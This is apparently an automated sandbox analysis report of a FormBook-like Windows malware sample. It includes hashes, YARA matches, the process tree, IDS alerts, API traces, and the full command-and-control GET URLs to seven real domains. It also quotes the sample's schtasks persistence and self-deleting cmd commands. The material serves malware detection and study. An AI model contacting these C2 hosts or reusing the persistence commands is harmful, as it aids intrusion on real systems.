Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Aug. 11, 2021, 9:22 a.m.	Aug. 11, 2021, 9:49 a.m.

Size	913.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`158d07c37f56412ce5f16891448e7b65`
SHA256	`385f5ca91b0a230a14f5d32c79d061a3af0f5533923ad62e1982d1327ed086a4`
CRC32	`D828A7BA`
ssdeep	`24576:kPp9AR95SkXpgex+Bp+MN7N2y90rgF1oeQo:kPpKRSk7xup+kN21gFR`
Yara	UPX_Zero - UPX packed file Generic_Malware_Zero - Generic Malware Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description) Admin_Tool_IN_Zero - Admin Tool Sysinternals Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
304
- vbc.exe "C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe"
  2480
  - svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xHBDpNzPl" /XML "C:\Users\test22\AppData\Local\Temp\tmp2697.tmp"
    2324
    - schtasks.exe C:\Windows\System32\schtasks.exe /Create /TN Updates\xHBDpNzPl /XML C:\Users\test22\AppData\Local\Temp\tmp2697.tmp
      532
  - vbc.exe "C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe"
    2396
    - wscript.exe "C:\Windows\SysWOW64\wscript.exe"
      1516
      - cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe"
        2588

Name	Response	Post-Analysis Lookup
www.gobahis119.com	A 185.162.228.1	185.162.228.1
www.xn--marketingrevolucin-61b.com	CNAME xn--marketingrevolucin-61b.com A 192.254.187.234	192.254.187.234
www.magemutfak.com	A 104.161.87.37	104.161.87.37
www.finopscert.com	CNAME finopscert.com A 34.102.136.180	34.102.136.180
www.mamafacil.com	A 34.102.136.180 CNAME mamafacil.com	34.102.136.180
www.dollaroneshop.com	CNAME dollaroneshop.com A 185.163.46.131	185.163.46.131
www.whizdomtowealth.com	CNAME whizdomtowealth.com A 34.102.136.180	34.102.136.180

IP Address	Status	Action
104.161.87.37	Active	Moloch
164.124.101.2	Active	Moloch
185.162.228.1	Active	Moloch
185.163.46.131	Active	Moloch
192.254.187.234	Active	Moloch
34.102.136.180	Active	Moloch
45.141.152.18	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49178 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49178 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49178 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49177 -> 185.163.46.131:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49177 -> 185.163.46.131:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49177 -> 185.163.46.131:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49179 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49179 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49179 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49180 -> 185.162.228.1:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49180 -> 185.162.228.1:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49180 -> 185.162.228.1:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49182 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49182 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49182 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49181 -> 104.161.87.37:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49181 -> 104.161.87.37:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49181 -> 104.161.87.37:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49176 -> 192.254.187.234:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49176 -> 192.254.187.234:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49176 -> 192.254.187.234:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Aug. 11, 2021, 9:23 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW Aug. 11, 2021, 9:23 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 11, 2021, 9:22 a.m.			0	0
IsDebuggerPresent Aug. 11, 2021, 9:22 a.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Aug. 11, 2021, 9:23 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1	0
WriteConsoleW Aug. 11, 2021, 9:23 a.m.	buffer: The system cannot find the file specified. console_handle: 0x0000000b	1	1	0

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 11, 2021, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00466770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 11, 2021, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00466f30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 11, 2021, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00466f30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Tries to locate where the browsers are installed (1 event)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 11, 2021, 9:22 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	CODE
section	DATA
section	BSS

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Aug. 11, 2021, 9:23 a.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x73261194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x73132ba1 0xacb2b3 0xacb70a 0xacb5f2 0xac9c64 0xac8536 0xac7f53 0xac7735 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x730b2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x730c264f CoUninitializeEE+0xa5b4 CreateAssemblyNameObject-0x36a1 clr+0x29df8 @ 0x730d9df8 CoUninitializeEE+0xa5eb CreateAssemblyNameObject-0x366a clr+0x29e2f @ 0x730d9e2f CoUninitializeEE+0xa6b9 CreateAssemblyNameObject-0x359c clr+0x29efd @ 0x730d9efd CoUninitializeEE+0xa75e CreateAssemblyNameObject-0x34f7 clr+0x29fa2 @ 0x730d9fa2 LogHelp_TerminateOnAssert+0x16b0b GetPrivateContextsPerfCounters-0x2937 clr+0x8564b @ 0x7313564b CreateAssemblyNameObject+0x2e9ca GetMetaDataInternalInterface-0x9aa5 clr+0x5be63 @ 0x7310be63 CreateAssemblyNameObject+0x2e4ff GetMetaDataInternalInterface-0x9f70 clr+0x5b998 @ 0x7310b998 CreateAssemblyNameObject+0x2e28d GetMetaDataInternalInterface-0xa1e2 clr+0x5b726 @ 0x7310b726 CreateAssemblyNameObject+0x2eacf GetMetaDataInternalInterface-0x99a0 clr+0x5bf68 @ 0x7310bf68 CreateAssemblyNameObject+0x2e84b GetMetaDataInternalInterface-0x9c24 clr+0x5bce4 @ 0x7310bce4 DllRegisterServerInternal+0xa898 CoUninitializeEE-0x2ba0 clr+0x1cca4 @ 0x730ccca4 DllRegisterServerInternal+0xa92b CoUninitializeEE-0x2b0d clr+0x1cd37 @ 0x730ccd37 DllGetClassObjectInternal+0x437c8 CorDllMainForThunk-0x48d33 clr+0x108841 @ 0x731b8841 LogHelp_TerminateOnAssert+0x129a9 GetPrivateContextsPerfCounters-0x6a99 clr+0x814e9 @ 0x731314e9 mscorlib+0x2d3711 @ 0x722e3711 mscorlib+0x308f2d @ 0x72318f2d mscorlib+0x2cb060 @ 0x722db060 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x730b2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x730c264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x73131838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x73131737 mscorlib+0x2d36ad @ 0x722e36ad mscorlib+0x308f2d @ 0x72318f2d microsoft+0x50c17 @ 0x70e50c17 microsoft+0x3f05f @ 0x70e3f05f microsoft+0x3e4d4 @ 0x70e3e4d4 microsoft+0x3cda4 @ 0x70e3cda4 0xac76fc 0xac6b0d 0xac6891 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x730b2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x730c264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x73131838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x73131737 mscorlib+0x305edf @ 0x72315edf mscorlib+0x2e9e1b @ 0x722f9e1b mscorlib+0x2e99c1 @ 0x722f99c1 mscorlib+0x2de184 @ 0x722ee184 0xac64e4 0xac383d 0xac1458 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x730b2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x730c264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x730c2e95 CoUninitializeEE+0x789b CreateAssemblyNameObject-0x63ba clr+0x270df @ 0x730d70df LogHelp_TerminateOnAssert+0x55ee GetPrivateContextsPerfCounters-0x13e54 clr+0x7412e @ 0x7312412e mscorlib+0x2f1c22 @ 0x72301c22 mscorlib+0x2f1b99 @ 0x72301b99 mscorlib+0x30e9a6 @ 0x7231e9a6 0xac1183 0xac0e54 0xac0a77 microsoft+0x129ed1 @ 0x70f29ed1 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7566b727 registers.esp: 2016932 registers.edi: 0 registers.eax: 2016932 registers.ebp: 2017012 registers.edx: 0 registers.ebx: 5164464 registers.esi: 4529568 registers.ecx: 3132299502	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Aug. 11, 2021, 9:23 a.m.

stacktrace:

CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x73261194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x73132ba1
0xacb2b3
0xacb70a
0xacb5f2
0xac9c64
0xac8536
0xac7f53
0xac7735
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x730b2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x730c264f
CoUninitializeEE+0xa5b4 CreateAssemblyNameObject-0x36a1 clr+0x29df8 @ 0x730d9df8
CoUninitializeEE+0xa5eb CreateAssemblyNameObject-0x366a clr+0x29e2f @ 0x730d9e2f
CoUninitializeEE+0xa6b9 CreateAssemblyNameObject-0x359c clr+0x29efd @ 0x730d9efd
CoUninitializeEE+0xa75e CreateAssemblyNameObject-0x34f7 clr+0x29fa2 @ 0x730d9fa2
LogHelp_TerminateOnAssert+0x16b0b GetPrivateContextsPerfCounters-0x2937 clr+0x8564b @ 0x7313564b
CreateAssemblyNameObject+0x2e9ca GetMetaDataInternalInterface-0x9aa5 clr+0x5be63 @ 0x7310be63
CreateAssemblyNameObject+0x2e4ff GetMetaDataInternalInterface-0x9f70 clr+0x5b998 @ 0x7310b998
CreateAssemblyNameObject+0x2e28d GetMetaDataInternalInterface-0xa1e2 clr+0x5b726 @ 0x7310b726
CreateAssemblyNameObject+0x2eacf GetMetaDataInternalInterface-0x99a0 clr+0x5bf68 @ 0x7310bf68
CreateAssemblyNameObject+0x2e84b GetMetaDataInternalInterface-0x9c24 clr+0x5bce4 @ 0x7310bce4
DllRegisterServerInternal+0xa898 CoUninitializeEE-0x2ba0 clr+0x1cca4 @ 0x730ccca4
DllRegisterServerInternal+0xa92b CoUninitializeEE-0x2b0d clr+0x1cd37 @ 0x730ccd37
DllGetClassObjectInternal+0x437c8 CorDllMainForThunk-0x48d33 clr+0x108841 @ 0x731b8841
LogHelp_TerminateOnAssert+0x129a9 GetPrivateContextsPerfCounters-0x6a99 clr+0x814e9 @ 0x731314e9
mscorlib+0x2d3711 @ 0x722e3711
mscorlib+0x308f2d @ 0x72318f2d
mscorlib+0x2cb060 @ 0x722db060
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x730b2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x730c264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x73131838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x73131737
mscorlib+0x2d36ad @ 0x722e36ad
mscorlib+0x308f2d @ 0x72318f2d
microsoft+0x50c17 @ 0x70e50c17
microsoft+0x3f05f @ 0x70e3f05f
microsoft+0x3e4d4 @ 0x70e3e4d4
microsoft+0x3cda4 @ 0x70e3cda4
0xac76fc
0xac6b0d
0xac6891
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x730b2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x730c264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x73131838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x73131737
mscorlib+0x305edf @ 0x72315edf
mscorlib+0x2e9e1b @ 0x722f9e1b
mscorlib+0x2e99c1 @ 0x722f99c1
mscorlib+0x2de184 @ 0x722ee184
0xac64e4
0xac383d
0xac1458
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x730b2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x730c264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x730c2e95
CoUninitializeEE+0x789b CreateAssemblyNameObject-0x63ba clr+0x270df @ 0x730d70df
LogHelp_TerminateOnAssert+0x55ee GetPrivateContextsPerfCounters-0x13e54 clr+0x7412e @ 0x7312412e
mscorlib+0x2f1c22 @ 0x72301c22
mscorlib+0x2f1b99 @ 0x72301b99
mscorlib+0x30e9a6 @ 0x7231e9a6
0xac1183
0xac0e54
0xac0a77
microsoft+0x129ed1 @ 0x70f29ed1

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x7566b727
registers.esp: 2016932
registers.edi: 0
registers.eax: 2016932
registers.ebp: 2017012
registers.edx: 0
registers.ebx: 5164464
registers.esi: 4529568
registers.ecx: 3132299502

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (7 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.xn--marketingrevolucin-61b.com/b6cu/?9r4P2=80ZGTxB/QLnIHkS3oVNq0ZJzfRpffLFocOm3eB+jN4m0j2EGAAjOfaPeawF6LJbltlmb2qM2&EjU4Sz=gdMTVRIPlB
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.dollaroneshop.com/b6cu/?9r4P2=hphj0fSPebsUG4+TPU9kXIDabXbQWsVnKmp+Geflc4GVcaDo89Rdm4LDqBFd7omdrUO+Pnv9&EjU4Sz=gdMTVRIPlB
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.mamafacil.com/b6cu/?9r4P2=ulZMiMAzIKxhCGouzIDoJ/Atu1WGElL9zoNZgIyVxCGswo8wIs4Bs3aWeOM7i+Qcx5tOIEpw&EjU4Sz=gdMTVRIPlB
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.whizdomtowealth.com/b6cu/?9r4P2=WjPAXh0JYubKQSuUuSCFbEny3O8VuxfrPqKNQoPqg5IJ+LtGQnBlfQrfzBHE5mLPoToVPehd&EjU4Sz=gdMTVRIPlB
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.gobahis119.com/b6cu/?9r4P2=ruZ6cerXGD0yWecTiOU8HeUU0cRUEGerShblZmZFkrYahfnG07S/JtCKsaKAEdVecZbcrXhx&EjU4Sz=gdMTVRIPlB
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.magemutfak.com/b6cu/?9r4P2=Zpu4P68kNZXiC9zzvTuPbsld3Ho+TwI+n/8Z+x1909ORVtO1OWbnp1J3pdDQ09qd2uvqchNa&EjU4Sz=gdMTVRIPlB
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.finopscert.com/b6cu/?9r4P2=XrfnOBkNkkBKgnbpDotVd9Wt38azE7kGf8JADJoXDG3y8ykdxWX2zrtWAHRCNr2g6Gs3kUui&EjU4Sz=gdMTVRIPlB

Performs some HTTP requests (7 events)

request	GET http://www.xn--marketingrevolucin-61b.com/b6cu/?9r4P2=80ZGTxB/QLnIHkS3oVNq0ZJzfRpffLFocOm3eB+jN4m0j2EGAAjOfaPeawF6LJbltlmb2qM2&EjU4Sz=gdMTVRIPlB
request	GET http://www.dollaroneshop.com/b6cu/?9r4P2=hphj0fSPebsUG4+TPU9kXIDabXbQWsVnKmp+Geflc4GVcaDo89Rdm4LDqBFd7omdrUO+Pnv9&EjU4Sz=gdMTVRIPlB
request	GET http://www.mamafacil.com/b6cu/?9r4P2=ulZMiMAzIKxhCGouzIDoJ/Atu1WGElL9zoNZgIyVxCGswo8wIs4Bs3aWeOM7i+Qcx5tOIEpw&EjU4Sz=gdMTVRIPlB
request	GET http://www.whizdomtowealth.com/b6cu/?9r4P2=WjPAXh0JYubKQSuUuSCFbEny3O8VuxfrPqKNQoPqg5IJ+LtGQnBlfQrfzBHE5mLPoToVPehd&EjU4Sz=gdMTVRIPlB
request	GET http://www.gobahis119.com/b6cu/?9r4P2=ruZ6cerXGD0yWecTiOU8HeUU0cRUEGerShblZmZFkrYahfnG07S/JtCKsaKAEdVecZbcrXhx&EjU4Sz=gdMTVRIPlB
request	GET http://www.magemutfak.com/b6cu/?9r4P2=Zpu4P68kNZXiC9zzvTuPbsld3Ho+TwI+n/8Z+x1909ORVtO1OWbnp1J3pdDQ09qd2uvqchNa&EjU4Sz=gdMTVRIPlB
request	GET http://www.finopscert.com/b6cu/?9r4P2=XrfnOBkNkkBKgnbpDotVd9Wt38azE7kGf8JADJoXDG3y8ykdxWX2zrtWAHRCNr2g6Gs3kUui&EjU4Sz=gdMTVRIPlB

Allocates read-write-execute memory (usually to unpack itself) (50 out of 57 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00600000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x730b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x730b2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 1572864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b60000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ca0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00562000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00595000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00597000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0056a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00587000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00586000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fd72000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
